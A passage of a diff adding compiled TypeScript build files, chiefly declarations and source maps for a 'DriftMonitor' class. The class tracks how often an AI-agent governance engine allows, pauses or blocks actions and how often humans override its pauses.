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"}
@@ -0,0 +1,81 @@
1
+ /**
2
+ * Drift Monitor — Background service tracking governance health
3
+ *
4
+ * Tracks:
5
+ * - Block frequency (are we blocking too much? too little?)
6
+ * - Manual overrides (humans overriding PAUSE decisions)
7
+ * - Tool friction (which tools cause the most governance friction?)
8
+ * - Rule friction (which rules fire most often?)
9
+ *
10
+ * Can also read from audit.jsonl for historical analysis.
11
+ * Stored in .neuroverseos/state.json — separate from MEMORY.md.
12
+ */
13
+ import type { GovernanceEngine } from './governance-engine';
14
+ export interface DriftState {
15
+ totalActions: number;
16
+ allowCount: number;
17
+ pauseCount: number;
18
+ blockCount: number;
19
+ overrideCount: number;
20
+ toolFriction: Record<string, {
21
+ blocks: number;
22
+ pauses: number;
23
+ allows: number;
24
+ }>;
25
+ ruleFriction: Record<string, number>;
26
+ lastUpdated: number;
27
+ sessionStart: number;
28
+ }
29
+ export interface DriftStats {
30
+ totalActions: number;
31
+ allowCount: number;
32
+ pauseCount: number;
33
+ blockCount: number;
34
+ blockRate: number;
35
+ pauseRate: number;
36
+ overrideRate: number;
37
+ driftSignals: string[];
38
+ }
39
+ export interface DriftProposal {
40
+ type: 'add_guard' | 'modify_threshold' | 'add_role' | 'add_invariant';
41
+ reason: string;
42
+ suggestion: string;
43
+ evidence: string;
44
+ }
45
+ export interface DriftMonitorConfig {
46
+ statePath: string;
47
+ auditPath: string;
48
+ engine: GovernanceEngine;
49
+ }
50
+ export declare class DriftMonitor {
51
+ private config;
52
+ private state;
53
+ private saveInterval;
54
+ constructor(config: DriftMonitorConfig);
55
+ start(): void;
56
+ stop(): void;
57
+ /**
58
+ * Record an action and its governance verdict.
59
+ */
60
+ recordAction(tool: string, verdict: 'ALLOW' | 'PAUSE' | 'BLOCK', ruleId?: string): void;
61
+ /**
62
+ * Record when a human overrides a PAUSE decision.
63
+ */
64
+ recordOverride(): void;
65
+ /**
66
+ * Get current drift statistics.
67
+ */
68
+ getStats(): DriftStats;
69
+ /**
70
+ * Generate amendment proposals based on drift patterns.
71
+ */
72
+ generateProposals(): DriftProposal[];
73
+ /**
74
+ * Rebuild stats from the audit log (for historical analysis).
75
+ */
76
+ rebuildFromAudit(): void;
77
+ private loadState;
78
+ private freshState;
79
+ private saveState;
80
+ }
81
+ //# sourceMappingURL=drift-monitor.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"drift-monitor.d.ts","sourceRoot":"","sources":["../drift-monitor.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAGH,OAAO,KAAK,EAAE,gBAAgB,EAAE,MAAM,qBAAqB,CAAC;AAO5D,MAAM,WAAW,UAAU;IACzB,YAAY,EAAE,MAAM,CAAC;IACrB,UAAU,EAAE,MAAM,CAAC;IACnB,UAAU,EAAE,MAAM,CAAC;IACnB,UAAU,EAAE,MAAM,CAAC;IACnB,aAAa,EAAE,MAAM,CAAC;IACtB,YAAY,EAAE,MAAM,CAAC,MAAM,EAAE;QAAE,MAAM,EAAE,MAAM,CAAC;QAAC,MAAM,EAAE,MAAM,CAAC;QAAC,MAAM,EAAE,MAAM,CAAA;KAAE,CAAC,CAAC;IACjF,YAAY,EAAE,MAAM,CAAC,MAAM,EAAE,MAAM,CAAC,CAAC;IACrC,WAAW,EAAE,MAAM,CAAC;IACpB,YAAY,EAAE,MAAM,CAAC;CACtB;AAED,MAAM,WAAW,UAAU;IACzB,YAAY,EAAE,MAAM,CAAC;IACrB,UAAU,EAAE,MAAM,CAAC;IACnB,UAAU,EAAE,MAAM,CAAC;IACnB,UAAU,EAAE,MAAM,CAAC;IACnB,SAAS,EAAE,MAAM,CAAC;IAClB,SAAS,EAAE,MAAM,CAAC;IAClB,YAAY,EAAE,MAAM,CAAC;IACrB,YAAY,EAAE,MAAM,EAAE,CAAC;CACxB;AAED,MAAM,WAAW,aAAa;IAC5B,IAAI,EAAE,WAAW,GAAG,kBAAkB,GAAG,UAAU,GAAG,eAAe,CAAC;IACtE,MAAM,EAAE,MAAM,CAAC;IACf,UAAU,EAAE,MAAM,CAAC;IACnB,QAAQ,EAAE,MAAM,CAAC;CAClB;AAED,MAAM,WAAW,kBAAkB;IACjC,SAAS,EAAE,MAAM,CAAC;IAClB,SAAS,EAAE,MAAM,CAAC;IAClB,MAAM,EAAE,gBAAgB,CAAC;CAC1B;AAMD,qBAAa,YAAY;IACvB,OAAO,CAAC,MAAM,CAAqB;IACnC,OAAO,CAAC,KAAK,CAAa;IAC1B,OAAO,CAAC,YAAY,CAA+C;gBAEvD,MAAM,EAAE,kBAAkB;IAKtC,KAAK,IAAI,IAAI;IAIb,IAAI,IAAI,IAAI;IAQZ;;OAEG;IACH,YAAY,CAAC,IAAI,EAAE,MAAM,EAAE,OAAO,EAAE,OAAO,GAAG,OAAO,GAAG,OAAO,EAAE,MAAM,CAAC,EAAE,MAAM,GAAG,IAAI;IAgCvF;;OAEG;IACH,cAAc,IAAI,IAAI;IAItB;;OAEG;IACH,QAAQ,IAAI,UAAU;IA0CtB;;OAEG;IACH,iBAAiB,IAAI,aAAa,EAAE;IA6CpC;;OAEG;IACH,gBAAgB,IAAI,IAAI;IA0CxB,OAAO,CAAC,SAAS;IAWjB,OAAO,CAAC,UAAU;IAclB,OAAO,CAAC,SAAS;CAOlB"}